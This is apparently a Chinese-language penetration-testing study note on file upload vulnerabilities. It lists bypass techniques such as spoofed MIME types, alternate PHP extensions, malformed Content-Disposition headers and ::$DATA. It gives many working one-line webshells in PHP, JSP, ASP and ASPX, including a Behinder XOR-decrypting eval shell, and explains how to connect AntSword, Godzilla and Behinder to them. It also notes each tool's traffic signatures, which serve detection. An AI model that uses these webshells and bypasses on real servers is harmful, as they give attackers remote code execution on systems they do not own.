0. 图片马制作
准备一张图片,例如example.png,一个一句话木马 shell.php 。
一句话木马内容:
<?php phpinfo>
在powershell/cmd中,通过下面命令合成一个图片马shell.png
copy example.png /b + shell.php /a shell.png
# /b指定以二进制格式复制、合并文件,用于图像或者声音类文件
# /a:指定以ascii格式复制、合并文件用于txt等文本类文件
1. 文件上传防御手段及绕过手段
1.1 文件上传防御手段
- 将文件上传的目录设置为不可执行,确保服务器不受影响;
- 判断文件类型,结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式;
- 使用随机数改写文件名和文件路径,限制用户访问;
- 单独设置文件服务器的域名,解决同源策略问题;
- 图片二次渲染 ( 最变态的上传漏洞防御方式 , 基本上完全避免了文件上传漏洞 )
- 文件重命名 ( 如随机字符串或时间戳等方式 , 防止攻击者得到 webshell 的路径 )
- 隐藏上传文件路径,或将路径加密
1.2 文件上传绕过手段
1.2.1 修改MIME
MIME (Multipurpose Internet Mail Extensions),即多用金互联网邮件扩展,是一种用于标识文件内容类型的标准。这个标准最初是为电子邮件系统设计的,以允许在电子邮件消息中嵌入多种类型的数据,如图像、音频、视频文件以及非ASCII字符文本等。随着互联网的发展,MIME的应用范围逐渐扩展到其他互联网协议,如HTTP(用于在Web上传输数据)。
常用MIME如下:
xml文档 | .xml | text/xml |
普通文本 | .txt | text/plain |
PDF文档 | | application/pdf |
word文档 | .doc/docx | application/msworc |
PNG图片 | .png | image/png |
GIF图片 | .gif | image/gif |
JPEG图片 | .jpeg | image/jpeg |
tar文件 | .tar | application/x-tar |
如果服务端通过校验HTTP请求头部的content-type字段来判|断当前文件是否自己预期文件,我们可以通过修改请求包中的该字段来进行绕过。
1.2.2 修改前端js文件
开发者有时会增加前端校验代码,在上传文件之前进行前端校验文件,且禁用JS后接口将无法正常工作,无法禁用可以使用修改js文件的方式来进行绕过。常用的校验文件的函数的命名习惯有checkfile()或uploadcheck()等,需要根据经验判断。
1.2.3 修改文件后缀名
在上传时,后端有时会通过检查后端文件名进行过滤,如果存在疑似恶意文件的后缀名,将会直接重置连接或者对文件进行初始化处理。为了绕过这种情况,我们以php文件为例,假设后端禁止或会初始化所有php文件的上传,我们常通过使用大小与,双写与或利用中间件解析漏洞进行绕过。比如:
.Php .php2-7 .phps .pht .phtm .phtml .pgif .shtml .htaccess .phar .inc .hphp .ctp .module
1.2.4 filename换行
第一种:
content-disposition: form-data; name:"file"; filename:"1.p
hp"
第二种;
content-disposition form-data; name:"file"; file
name:"1.php"
第三种:
content-disposition: form-data; name:"file"; filename:
"1.php"
1.2.5 filename多等号
Content-Disposition: form-data; name="file"; filename==="а.php"
1.2.6 无双引号或单引号
第一种:Content-Disposition: form-data; name=file1; filename=a.php
第二种:Content-Disposition: form-data; name='file1'; filename="а.php"
1.2.7 多个filename
Content-Disposition: form-data; name='file1'; filename= ; filename="а.php"
1.2.8 windows特性
在windows中,如果文件名+ ::$DATA
会自动把 ::$DATA
之后的数据当成文件流进行处理,不会检测后缀名,且保持 ::$DATA
之前的文件名,它的目的就是不检查后缀名。
Content-Disposition: form-data; name='file'; filename="а.php::$DATA"
1.2.9 二次渲染绕过
一般是在使用上传图片后,发现webshell无法连接,再次下载后发现文件被损坏或被初始化,可以通过010editor查看被损坏的部分,寻找不会被初始化部分,将webshell插入到该部分
2. 文件上传常用一句话木马
2.1 文件上传漏洞
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
2.2 产生文件上传漏洞的原因
- 对于上传文件的后缀名(扩展名)没有做较为严格的限制
- 对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
- 权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
- 对于web server对于上传文件或者指定目录的行为没有做限制
2.3 一句话木马——PHP
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?> php环境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
2.4 一句话木马——JSP
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
2.5 一句话木马——ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话
2.6 一句话木马——aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script>
<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>
<%eval request(chr(35))%> 不用双引号的一句话
2.7 文件上传漏洞总结大全
参考链接:文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)_upload靶场题型-CSDN博客
3. 三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
3.1 中国蚁剑(AntSword)
官网下载地址:https://github.com/AntSwordProject/
特点:中国蚁剑支持自定义加密,但shell不稳定,且对jsp兼容性比较差;
3.1.1 中国蚁剑连接一句话木马
1. 上传一句话木马
<?php
eval($_POST["good"]);
2. 在蚁剑中右键选择“添加数据”
3. 输入刚刚一句话木马的地址。注意,连接密码要和一句话木马中的一致。点击测试连接
4. 双击点击刚刚添加的数据管理,成功。
3.1.2 Burp Suite抓取蚁剑数据包
1. 设置蚁剑中的代理
左上角点击AntSword打开代理设置,选择手动设置代理后填写代理服务器和端口(Burp Suite监听的端口),填写完成后保存即可生效。
2. 在蚁剑的虚拟终端执行命令,即可抓取到蚁剑的数据包。
3. Burp Suite成功抓取到蚁剑的数据包
3.1.3 蚁剑流量特征
- 使用url加密
user-agent
的值为antsword
字段- 请求中存在
eval
,可能出现拼接或者大小写情况 - 请求体中存在
@ini_set
(url解密) - 参数中大量存在 0X字段(弱特征)
特征码为:
data:("display_errors" AND "set_time_limit(0)")
user-agent:"antsword/v2.0"
3.2 哥斯拉(Godzilla)
下载链接:Release v3.03-godzilla · BeichenDream/Godzilla · GitHub
特点:基于流量,http全加密的webshell工具。看不出有明显的攻击特征,需要结合流量。找到哥斯拉webshell上传成功的流量来进行分析和判断,另外该工具自带了一些插件模块,实现了写无文件webshell等强大的功能,可以伪造UA头和Accept头,消除请求包和响应包中的特征。
3.2.1 哥斯拉连接一句话木马
1. 上传一句话木马
<?php
eval($_POST["pass"]);
2. 点击左上角的目标,点击添加
输入配置信息,注意,url地址是刚刚上传一句话木马的地址,密钥是一句话木马中的pwd,有效载荷和加密器选择PHP。
3. 配置信息填好后点击测试连接,查看是否成功。
3.2.2 Burp Suite抓取哥斯拉数据包
1. 配置Godzilla代理信息,填写代理服务器和端口(Burp Suite监听的端口),填写完成后保存即可。
2. 通过木马进入命令行执行命令,即可用Burp Suite抓取到哥斯拉的数据包。
3. Burp Suite成功抓取到哥斯拉的数据包
3.2.3 哥斯拉Godzilla流量特征
- Cookie中有一个非常关键的特征,最后会有个分号
; 。
- 响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位
Accept:text/html,application/xhtml+xml,application/xml:q=0.9,image/webp,/;q0.8 (固定的)
- 哥斯拉会建立三次tcp连接(强特征)
3.3 冰蝎(Behinder)
下载链接:https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11
3.3.1 冰蝎(Behinder)上传一句话木马
1. 上传一句话木马
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
2. 配置冰蝎(Behinder)shell信息,其中URL地址为刚刚上传一句话木马的地址,脚本类型为PHP,传输协议为base64,点击保存即可。
3.3.2 Burp Suite抓取冰蝎数据包
1. 配置冰蝎的代理信息。点击左上角的代理,点击设置代理。填写代理服务器和端口(Burp Suite监听的端口),选择启用,完成后保存即可。
2. 通过刚刚创建的shell,单击右键,点击打开,即可进入。
3. 进入命令行执行命令,即可用Burp Suite抓取到冰蝎的数据包
4. 3. Burp Suite成功抓取到冰蝎的数据包
3.3.3 冰蝎(Behinder)流量特征
流量特征:不同版本的冰蝎流量特征会有区别,我们以4.0为例
- 3.0流量动态aes加密,一般http包头中contentent-type为application/octet-stream
- 4.0流量动态aes加密,一般http包头中content-type为application/x-www-form-form-urlencoded
- 使用长连接,默认情况下,请求头和响应头里会带有connection:keep-alive;
- 连接的端口,每次连接使用本地端口在49700左右(就是比较大的端口)
- Accept:字段中存在
application/json,text/javaseript,*/*;q=0.01
- UA头是冰蝎内置的,有规律的(10种内置ua头,随机选择)
- 大量的aes加密(弱特征)
4. 文件上传无回显如何查找webshell地址
4.1 字典爆破
根据经验,文件上传后,文件有时会直接以文件名的形式放在在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件名但是存放到其他目录的形式。这个时候我们通常需要一个专属字典进行访问。
4.2 时间戳枚举
在渗透测试过程中,有些文件上传后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。
python代码获取时间戳
from datetime import datetime
# 从字符串转换
date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
timestamp = date_obj.timestamp()
print(timestamp)
# 直接使用datetime.now()获取时间戳
now_timestamp = datetime.now().timestamp()
print(now_timestamp)
在powershell中获取当前时间戳
powershell -c Get-Date -Format yyyyMMddHHmmssfff # 获取年月日时分秒毫秒
20240903154527916
powershell -c Get-Date -Format yyyyMMddHHmm # 获取年月日时分
202409031549
获取时间戳后我们通常枚举时间戳的后5位或后6位数字。
在线的时间戳转换网站:在线时间戳转换工具
5. 文件上传表单的无参/有参情况下构造表单
5.1 未知参数构造(万能)表单
POST /xxx.xxx HTTP/1.1
Host: a.com
Content-Length: 192
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBVxOSADFbKWNOvVM
Connection: close
------WebKitFormBoundaryBVxOSADFbKWNOvVM
Content-Disposition: form-data; name= "a";filename= "1.php"
Content-Type: application/octet-stream
111
------WebKitFormBoundaryBVxOSADFbKWNOvVM--
白嫖刘老师的课件截图(主要是不会js):
5.2 构造表单参数
POST /xxxx HTTP/1.1
Host: a.com
Content-Length: 318
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBVxOSADFbKWNOvVM
Connection: close
------WebKitFormBoundaryBVxOSADFbKWNOvVM
Content-Disposition: form-data; name="name";
Content-Type: application/octet-stream
111
------WebKitFormBoundaryBVxOSADFbKWNOvVM
Content-Disposition: form-data; name="FilePath";
Content-Type: application/octet-stream
222
------WebKitFormBoundaryBVxOSADFbKWNOvVM--
6. upload-labs靶场(pass06~10)
靶场太怪,难搞!